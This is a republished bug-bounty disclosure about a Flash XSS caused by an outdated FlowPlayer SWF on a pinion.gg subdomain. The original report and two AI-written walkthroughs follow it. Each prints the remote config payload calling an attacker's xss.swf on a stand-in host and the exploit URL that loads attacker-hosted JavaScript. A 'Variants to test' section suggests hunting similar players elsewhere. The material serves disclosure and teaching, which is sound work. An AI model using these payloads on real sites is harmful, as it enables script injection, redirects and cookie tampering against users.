Skip to content
XSS Disclosed report Intermediate

Persistent XSS found on bin.pinion.gg due to outdated FlowPlayer SWF file with Remote File Inclusion vulnerability.

An outdated FlowPlayer SWF file on a subdomain allowed loading a remote JavaScript configuration, which executed arbitrary JavaScript in the subdomain's context. An attacker could deface the page, redirect users, set cookies for parent domains, or exploit any instance using the file.

sp1d3rs Follow

Originally disclosed on HackerOne

  • Triaged in 4 days
  • Fixed in 2 months
  • Paid in 20 days
  • Disclosed after 2 months

Summary by the researcher

Thanks to the Unikrn team for the fast response, fix, and the bounty!

I discovered the Flash XSS issue on the one of the pinion.gg subdomains. The XSS issue was in the outdated FlowPlayer SWF file (which suffered from some ExternalInterface.Call/clientside RFI-related issues), and was exploitable using next JS (we can call it test.js), placed on remote host, and then referenced in config URL param:

{
    'log' : {
        'level'  : 'info'
    },
    'clip': {
        'autoPlay': 'true',
        'baseUrl': 'http://stream.flowplayer.org/',
        'onMyConnectionEvent': 'function(clip, info) {alert(/onMyConnectionEvent/)};',
        'onStart': 'function() {alert(/onBegin/);}' 
    },
    'playlist': [ 
    ],
    'plugins': { 
        'controls': { 
            'url': 'http://yourhost.com/xss.swf' 
        }
    },
    'onLoad': 'function() {alert(/onLoad/);}',
    'connectionCallbacks': [ "onMyConnectionEvent" ]
}

where http://yourhost.com/xss.swf - it is specially crafted SWF file, which execute arbitrary JS through ExternalInterface.Call method. Using

http://bin.pinion.gg/bin/flowplayer.commercial-3.2.15.swf?config=http://[redacted.com]/test.js

it was possible to execute any arbitrary JS in the context of subdomain. I named it as persistent in the report title, because payload was in the stored form, but just 'flash xss' sounds more correctly. It could be turned to persistent, in case that config param actually was used somewhere.

##References

The report

##Description Hi. Today i looked to some outscope subdomains *.pinion.gg for recon purposes. I discovered an interesting file on http://templ4d2.pinion.gg/motd2.manifest with next content:

CACHE MANIFEST
# 2014-07-07
CACHE:
http://bin.pinion.gg/bin/companions.min.js
http://bin.pinion.gg/bin/flowplayer.commercial-3.2.15.swf
http://vox-static.liverail.com/crossdomain.xml
http://cdn-static.liverail.com/crossdomain.xml
http://bs.serving-sys.com/crossdomain.xml
http://ad-apac.doubleclick.net/crossdomain.xml
http://ads.intergi.com/crossdomain.xml
http://u-ads.adap.tv/crossdomain.xml
http://imasdk.googleapis.com/js/sdkloader/ima3.js
http://www.googletagservices.com/tag/js/gpt.js
https://www.google-analytics.com/ga.js
http://partner.googleadservices.com/gpt/pubads_impl_90.js
NETWORK:
*

One string attracted my attention - http://bin.pinion.gg/bin/flowplayer.commercial-3.2.15.swf I submitted previously some vulnerabilities connected with this file to other programs, so easily determined that it is an outdated version of FlowPlayer (https://github.com/flowplayer/), vulnerable to XSS through remote file inclusion.

##POC http://bin.pinion.gg/bin/flowplayer.commercial-3.2.15.swf?config=http://████████/test.js Just visit this link. Player will load my remote .js file from the my host, and display few popups with document.cookie and document.domain payloads.

##Impact The vulnerable file is hosted on out-scope subdomain, so i thinked, how it can affect security of main domains.

  1. Using bin.pinion.gg deface. Because attacker can execute any JS, he can deface the page by arbitrary content
  2. Using Open Redirect through window.location js payload.
  3. Using setting cookie cross-domain. In this case the attacker can set arbitrary cookies to the pinion.gg or cp-ng.pinion.gg.
  4. If this file is used in some instance to display some content, ads, etc. - then the instance is vulnerable to XSS.

##Reproduction steps You just need to place the malicious file to the remote host, like in this example: http://████/test.js and append the url to the

http://bin.pinion.gg/bin/flowplayer.commercial-3.2.15.swf?config=

as parameter.

##Suggested fix I recommend you to update FlowPlayer to the latest version, or remove if not used.

The original report as published on HackerOne, by sp1d3rs. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

Unikrn runs the pinion.gg domain, and the report concerns one of its subdomains, bin.pinion.gg, which hosts static assets. Among those assets is a copy of the FlowPlayer Flash player, flowplayer.commercial-3.2.15.swf. FlowPlayer is a video player that can be embedded in pages and configured at load time; the SWF accepts a config URL parameter that points to a JavaScript configuration file describing the clip, playlist, plugins and callbacks.

The researcher found the file while doing reconnaissance on *.pinion.gg subdomains, which he describes as out of scope for the program. The report was filed as a persistent XSS, though the researcher himself notes that plain "flash xss" is the more accurate label, and that it could only become persistent if the config parameter were actually used somewhere.

Setup

No accounts, roles or special tooling are described. The preconditions are:

  1. A remote host under the attacker's control that can serve a JavaScript file and, for the full payload, a crafted SWF file.
  2. The target serving the outdated flowplayer.commercial-3.2.15.swf at a known path.
  3. A victim visiting a URL on the bin.pinion.gg origin that carries the attacker's config value.

The version in the filename, 3.2.15, is what the researcher used to identify the build as outdated.

Finding it

While looking at out-of-scope *.pinion.gg subdomains, the researcher found a cache manifest at http://templ4d2.pinion.gg/motd2.manifest with the following content:

Text
CACHE MANIFEST
# 2014-07-07
CACHE:
http://bin.pinion.gg/bin/companions.min.js
http://bin.pinion.gg/bin/flowplayer.commercial-3.2.15.swf
http://vox-static.liverail.com/crossdomain.xml
http://cdn-static.liverail.com/crossdomain.xml
http://bs.serving-sys.com/crossdomain.xml
http://ad-apac.doubleclick.net/crossdomain.xml
http://ads.intergi.com/crossdomain.xml
http://u-ads.adap.tv/crossdomain.xml
http://imasdk.googleapis.com/js/sdkloader/ima3.js
http://www.googletagservices.com/tag/js/gpt.js
https://www.google-analytics.com/ga.js
http://partner.googleadservices.com/gpt/pubads_impl_90.js
NETWORK:
*

One entry stood out: http://bin.pinion.gg/bin/flowplayer.commercial-3.2.15.swf. The researcher had previously submitted vulnerabilities involving this same file to other programs, so he recognised it as an outdated FlowPlayer build, vulnerable to XSS through remote file inclusion. The manifest is what pointed him at the file; the vulnerability itself lives in the SWF.

Exploitation

Step 1: host a configuration file

The researcher places a JavaScript file, which he calls test.js, on a remote host. The configuration it contains is:

JavaScript
{
    'log' : {
        'level'  : 'info'
    },
    'clip': {
        'autoPlay': 'true',
        'baseUrl': 'http://stream.flowplayer.org/',
        'onMyConnectionEvent': 'function(clip, info) {alert(/onMyConnectionEvent/)};',
        'onStart': 'function() {alert(/onBegin/);}'
    },
    'playlist': [
    ],
    'plugins': {
        'controls': {
            'url': 'http://yourhost.com/xss.swf'
        }
    },
    'onLoad': 'function() {alert(/onLoad/);}',
    'connectionCallbacks': [ "onMyConnectionEvent" ]
}

The object sets a log level, defines a clip with autoplay and a base URL, and registers callbacks (onMyConnectionEvent, onStart, onLoad) whose bodies are JavaScript. It also points the controls plugin at http://yourhost.com/xss.swf, which the researcher describes as a specially crafted SWF file that executes arbitrary JavaScript through the ExternalInterface.Call method. The connectionCallbacks array names onMyConnectionEvent so that the callback is wired up.

Step 2: point the player at the configuration

The player is loaded with the configuration URL in the config parameter:

HTTP
http://bin.pinion.gg/bin/flowplayer.commercial-3.2.15.swf?config=http://[redacted.com]/test.js

Visiting this link makes the player load the remote .js file from the researcher's host and display several popups carrying document.cookie and document.domain payloads. Because the SWF is served from bin.pinion.gg, the JavaScript runs in the context of that subdomain.

Step 3: reproduction

The reproduction is the same two pieces: place the malicious file on a remote host, for example http://[redacted]/test.js, and append its URL to the base player URL:

HTTP
http://bin.pinion.gg/bin/flowplayer.commercial-3.2.15.swf?config=

Root cause

The vulnerable component is the outdated FlowPlayer SWF, which the researcher says suffered from ExternalInterface.Call / client-side RFI-related issues. The config parameter lets the player fetch and evaluate a configuration from an arbitrary remote origin, and that configuration can contain JavaScript callbacks and a reference to a further SWF (xss.swf) that calls into JavaScript through ExternalInterface.Call. The player therefore treats attacker-supplied remote content as trusted configuration and executes it in its own origin.

The researcher links two references for the underlying behaviour: the FlowPlayer issue at https://github.com/flowplayer/flash/issues/263 and a post at http://mihai.bazon.net/blog/externalinterface-is-unreliable. The report does not describe any server-side validation or other defence that would have blocked the config parameter; the researcher recommended updating or removing the file.

Impact

The vulnerable file sits on an out-of-scope subdomain, so the researcher reasoned about how it could still affect the main domains:

  1. Defacement of bin.pinion.gg. Arbitrary JavaScript execution lets an attacker replace the page content.
  2. Open redirect through a window.location JavaScript payload.
  3. Cross-domain cookie setting. The attacker can set arbitrary cookies for pinion.gg or cp-ng.pinion.gg.
  4. XSS in any instance that uses the file to display content, ads and similar, since that instance inherits the flaw.

All of these depend on a victim following the crafted link to the SWF on bin.pinion.gg. The report does not show any place where the config parameter was stored or reused, which is why the researcher calls the "persistent" label in the title inaccurate and says it could only become persistent if the parameter were used somewhere.

Fix

The researcher recommended updating FlowPlayer to the latest version, or removing the file if it is not used. He credits the Unikrn team for the fast response, the fix and the bounty.

Variants to test

  1. Other old FlowPlayer builds. Look for flowplayer*.swf filenames with version numbers in static asset directories and cache manifests, and try the same ?config= parameter with a remote JavaScript file. A positive result is the player fetching your file and executing a callback such as an alert in the page origin.
  2. Cache manifests as an asset inventory. Fetch *.manifest files on related subdomains and list every cached URL; old player SWFs, SDK loaders and analytics scripts often appear there. A positive result is a manifest entry pointing at a versioned player or library you can match to a known vulnerable release.
  3. Other Flash players with remote configuration. Test players that accept a configuration URL or a plugin URL parameter, supplying a remote file you control. A positive result is your remote content being loaded and its callbacks executed.
  4. Cookie scope checks. Once script execution is confirmed on a subdomain, check whether cookies set from it are sent to the parent domain or sibling hosts such as cp-ng.pinion.gg. A positive result is a cookie you set being returned by those hosts.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

What happened, in plain words

A security researcher was poking around the websites that belong to Unikrn, the company behind the pinion.gg domain. He was not looking at the main site but at smaller, secondary addresses (subdomains) that the company had told bug hunters were out of scope, meaning they were not officially part of the reward programme. While doing that, he found an old video player file sitting on one of those subdomains. The file was a Flash movie (a .swf file) made by a product called FlowPlayer, and it was an old version with a known weakness.

The weakness is this: the player can be told, through a link, to go and fetch a settings file from anywhere on the internet. That settings file is written in JavaScript, the language browsers use to make pages interactive. If an attacker puts their own settings file on their own server and points the player at it, the player will happily download it and run it. Because the player itself lives on the pinion.gg subdomain, the attacker's code runs as if it belonged to pinion.gg. That is what people call cross-site scripting, or XSS: someone else's code running inside a site's own trust boundary.

The researcher reported it, the Unikrn team fixed it quickly, and he thanks them for the fast response, the fix and the bounty (a reward paid for finding the problem).

The pieces you need to understand first

Before walking through the report, here are the ideas it relies on, explained from scratch.

  • Domain and subdomain. A domain is a name like pinion.gg. A subdomain is a name placed in front of it, like bin.pinion.gg or templ4d2.pinion.gg. Think of the domain as a building and subdomains as different rooms in it. They are separate addresses, but they belong to the same owner.
  • Static assets. Files that a website serves without changing them: images, scripts, video players. bin.pinion.gg is described as a place that hosts such files.
  • Flash and SWF. Flash was a browser plugin (now retired) that played animations and video. A .swf file is a Flash movie. Flash movies can contain code, and they can talk to the JavaScript running on the page around them.
  • FlowPlayer. A video player that websites embed to show video. It can be configured when it loads, and one way to configure it is to give it a URL that points to a settings file.
  • URL parameter. The part of a web address after a question mark. In something?config=..., config is the parameter name and everything after the equals sign is its value. Parameters are how a link can carry instructions to a page.
  • JavaScript configuration file. A file written in JavaScript that describes settings: which video to play, what to do when playback starts, and so on. If a program downloads such a file and runs it, the file's contents become code, not just data.
  • Cross-site scripting (XSS). A class of bug where an attacker gets their own code to run inside someone else's website, in the browser of a victim. The code then acts with the website's permissions: it can read what the site can read and do what the site can do.
  • Remote file inclusion (RFI). When a program is tricked into loading a file from a location the attacker chooses, instead of from its own server. Here the "file" is the remote JavaScript configuration.
  • ExternalInterface.Call. A feature of Flash that lets a Flash movie call a JavaScript function on the surrounding page. If an attacker controls what the Flash movie does, they can use this bridge to run their own JavaScript.
  • Cookie. A small piece of data a website stores in your browser so it can recognise you later, for example to keep you logged in. Cookies belong to a domain, and a script running on that domain can read and set them.
  • document.cookie and document.domain. In a browser, document.cookie is how JavaScript reads and writes cookies for the current page, and document.domain is the domain the page considers itself to be on. Showing these in a popup is a common way to prove that code is really running inside a site.
  • Open redirect. A link on a trusted site that sends the visitor to an address the attacker chooses. It is often used to make a malicious link look trustworthy.
  • Defacement. Replacing a page's normal content with something else, usually to make a point or embarrass the owner.
  • Cache manifest. A text file that lists files a web app wants the browser to store for offline use. It is effectively an inventory of the site's assets, which makes it useful for finding old files.

Finding the file

The researcher was doing reconnaissance, which simply means looking around a target to see what is there before trying anything. He looked at subdomains of *.pinion.gg, which he describes as out of scope for the programme. On one of them he found a cache manifest at http://templ4d2.pinion.gg/motd2.manifest. Its contents were:

Text
CACHE MANIFEST
# 2014-07-07
CACHE:
http://bin.pinion.gg/bin/companions.min.js
http://bin.pinion.gg/bin/flowplayer.commercial-3.2.15.swf
http://vox-static.liverail.com/crossdomain.xml
http://cdn-static.liverail.com/crossdomain.xml
http://bs.serving-sys.com/crossdomain.xml
http://ad-apac.doubleclick.net/crossdomain.xml
http://ads.intergi.com/crossdomain.xml
http://u-ads.adap.tv/crossdomain.xml
http://imasdk.googleapis.com/js/sdkloader/ima3.js
http://www.googletagservices.com/tag/js/gpt.js
https://www.google-analytics.com/ga.js
http://partner.googleadservices.com/gpt/pubads_impl_90.js
NETWORK:
*

Line by line, in plain words:

  • CACHE MANIFEST is the header that tells the browser this file is a cache manifest.
  • # 2014-07-07 is a comment, here a date. It hints at how old the list is.
  • CACHE: starts the list of files the browser should keep for offline use.
  • Each following line is one file to cache. Most are scripts and cross-domain policy files from advertising and analytics services.
  • NETWORK: followed by * says that anything not listed may be fetched from the network as normal.

One line stood out: http://bin.pinion.gg/bin/flowplayer.commercial-3.2.15.swf. The researcher had already reported problems with this same file to other bug bounty programmes, so he recognised it straight away as an old FlowPlayer build. The version number in the filename, 3.2.15, is what told him it was outdated. The manifest is what led him to the file; the actual flaw is inside the SWF itself.

How the attack works

The idea is to make the player on bin.pinion.gg load a settings file from the researcher's own server. That file then tells the player to run JavaScript, and because the player is on pinion.gg, the JavaScript runs as pinion.gg.

Step 1: put a settings file on your own server

The researcher places a JavaScript file, which he calls test.js, on a host he controls. Its contents are:

JavaScript
{
    'log' : {
        'level'  : 'info'
    },
    'clip': {
        'autoPlay': 'true',
        'baseUrl': 'http://stream.flowplayer.org/',
        'onMyConnectionEvent': 'function(clip, info) {alert(/onMyConnectionEvent/)};',
        'onStart': 'function() {alert(/onBegin/);}'
    },
    'playlist': [
    ],
    'plugins': {
        'controls': {
            'url': 'http://yourhost.com/xss.swf'
        }
    },
    'onLoad': 'function() {alert(/onLoad/);}',
    'connectionCallbacks': [ "onMyConnectionEvent" ]
}

What each part does:

  • The whole thing is one JavaScript object, a collection of named settings in curly braces. Think of it as a form with labelled fields.
  • 'log' with 'level': 'info' sets how much the player logs. It is housekeeping, not part of the attack.
  • 'clip' describes the video to play. 'autoPlay': 'true' means start playing without the user pressing anything. 'baseUrl' is the address the player uses as a starting point for video files.
  • 'onMyConnectionEvent' and 'onStart' are callbacks: functions the player will call at certain moments. Their bodies are JavaScript that shows a popup with alert(...). The text inside the slashes is just a label for the popup.
  • 'playlist' is an empty list here.
  • 'plugins' configures add-ons. The 'controls' plugin is pointed at http://yourhost.com/xss.swf, which the researcher describes as a specially crafted SWF file that runs arbitrary JavaScript through ExternalInterface.Call. In other words, this second file is the bridge that lets the Flash movie call JavaScript on the page.
  • 'onLoad' is another callback, again showing a popup.
  • 'connectionCallbacks' lists "onMyConnectionEvent", which wires that callback up so the player actually calls it.

Why this step matters: the attacker needs a file they control that the player will treat as its own configuration. Everything else follows from the player trusting that file.

Step 2: point the player at that file

The player is loaded with the configuration URL in the config parameter:

HTTP
http://bin.pinion.gg/bin/flowplayer.commercial-3.2.15.swf?config=http://[redacted.com]/test.js

Reading it piece by piece:

  • http://bin.pinion.gg/bin/flowplayer.commercial-3.2.15.swf is the old player file on the company's subdomain.
  • ? starts the parameters.
  • config= is the parameter name the player looks for.
  • http://[redacted.com]/test.js is the value: the address of the attacker's settings file.

When a victim visits this link, the player downloads the remote .js file from the researcher's host and runs it. The report says the result is several popups carrying document.cookie and document.domain payloads. Those popups are the proof: the report says they carry document.cookie and document.domain payloads. Because the SWF is served from bin.pinion.gg, the JavaScript runs in the context of that subdomain.

Step 3: reproducing it

The reproduction is the same two pieces. Put the malicious file on a remote host, for example http://[redacted]/test.js, and append its URL to the base player URL:

HTTP
http://bin.pinion.gg/bin/flowplayer.commercial-3.2.15.swf?config=

Here the config= parameter is shown empty, to make clear where the attacker's URL goes. In practice you paste your file's address after the equals sign, as in step 2.

Why it works

The problem is the old FlowPlayer SWF. The researcher says it suffered from ExternalInterface.Call and client-side RFI-related issues. In plain terms: the player accepts a config parameter that points anywhere on the internet, downloads that file, and treats it as trusted settings. Those settings can contain JavaScript callbacks and a reference to a further SWF (xss.swf) that calls into JavaScript through ExternalInterface.Call. So the player ends up running content supplied by the attacker, in its own origin.

The researcher points to two references for the underlying behaviour: the FlowPlayer issue at https://github.com/flowplayer/flash/issues/263 and a post at http://mihai.bazon.net/blog/externalinterface-is-unreliable. The report does not describe any server-side check that would have blocked the config parameter. The researcher recommended updating or removing the file.

What an attacker could do with it

The vulnerable file sits on a subdomain that was out of scope, so the researcher thought about how it could still affect the main domains:

  1. Deface bin.pinion.gg. If you can run any JavaScript, you can replace the page's content with whatever you like.
  2. Open redirect. A JavaScript payload can set window.location, sending the visitor to another address. The trusted pinion.gg link becomes a stepping stone to an attacker's site.
  3. Set cookies across domains. The attacker can set arbitrary cookies for pinion.gg or cp-ng.pinion.gg.
  4. XSS in any instance that uses the file. If some page uses this player to show content, ads or similar, that page inherits the flaw.

All of these depend on a victim following the crafted link to the SWF on bin.pinion.gg. The report does not show any place where the config parameter was stored or reused. That is why the researcher says the "persistent" label in the title is not quite right: a persistent XSS is one where the malicious payload is saved on the server and served to every visitor, and here nothing was saved. He notes that it could only become persistent if the config parameter were actually used somewhere.

The fix

The researcher recommended updating FlowPlayer to the latest version, or removing the file if it is not used. He credits the Unikrn team for the fast response, the fix and the bounty.

Other places to look for the same pattern

  1. Other old FlowPlayer builds. Look for flowplayer*.swf filenames with version numbers in static asset folders and cache manifests, and try the same ?config= parameter with a remote JavaScript file. You have a hit if the player fetches your file and runs a callback such as an alert in the page's origin.
  2. Cache manifests as an inventory. Fetch *.manifest files on related subdomains and list every cached URL. Old player SWFs, SDK loaders and analytics scripts often show up there. You have a hit if a manifest entry points at a versioned player or library you can match to a known vulnerable release.
  3. Other Flash players with remote configuration. Test players that accept a configuration URL or a plugin URL parameter, supplying a remote file you control. You have a hit if your remote content is loaded and its callbacks run.
  4. Cookie scope checks. Once script execution is confirmed on a subdomain, check whether cookies set from it are sent to the parent domain or sibling hosts such as cp-ng.pinion.gg. You have a hit if a cookie you set is returned by those hosts.

Glossary

  • Subdomain: a name placed in front of a domain, like bin.pinion.gg in front of pinion.gg; a separate address owned by the same organisation.
  • Static asset: a file a website serves unchanged, such as an image, script or video player.
  • Flash: a retired browser plugin that played animations and video and could run code.
  • SWF: the file format for a Flash movie.
  • FlowPlayer: a video player that websites embed and configure at load time.
  • URL parameter: the part of an address after ?, made of a name and a value, used to pass instructions to a page.
  • JavaScript: the programming language browsers run to make pages interactive.
  • Cross-site scripting (XSS): a bug where an attacker's code runs inside someone else's website, with that site's permissions.
  • Remote file inclusion (RFI): tricking a program into loading a file from a location the attacker chooses.
  • ExternalInterface.Call: a Flash feature that lets a Flash movie call a JavaScript function on the surrounding page.
  • Callback: a function a program calls at a certain moment, such as when playback starts.
  • Cookie: a small piece of data a site stores in your browser, often to recognise you later.
  • document.cookie: the browser property JavaScript uses to read and write cookies for the current page.
  • document.domain: the browser property that reports the domain the page considers itself to be on.
  • Defacement: replacing a page's normal content with something else.
  • Cache manifest: a text file listing files a web app wants the browser to store for offline use; also a handy inventory of a site's assets.
  • Reconnaissance: looking around a target to see what is there before trying anything.
  • Out of scope: not officially part of a bug bounty programme, so not eligible for a reward.
  • Bug bounty: a programme that pays people for reporting security problems.
  • Persistent XSS: an XSS where the malicious payload is stored on the server and served to visitors, as opposed to one that only lives in a crafted link.

More by sp1d3rs

View all

62 more disclosed reports, best first.

More from Unikrn

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.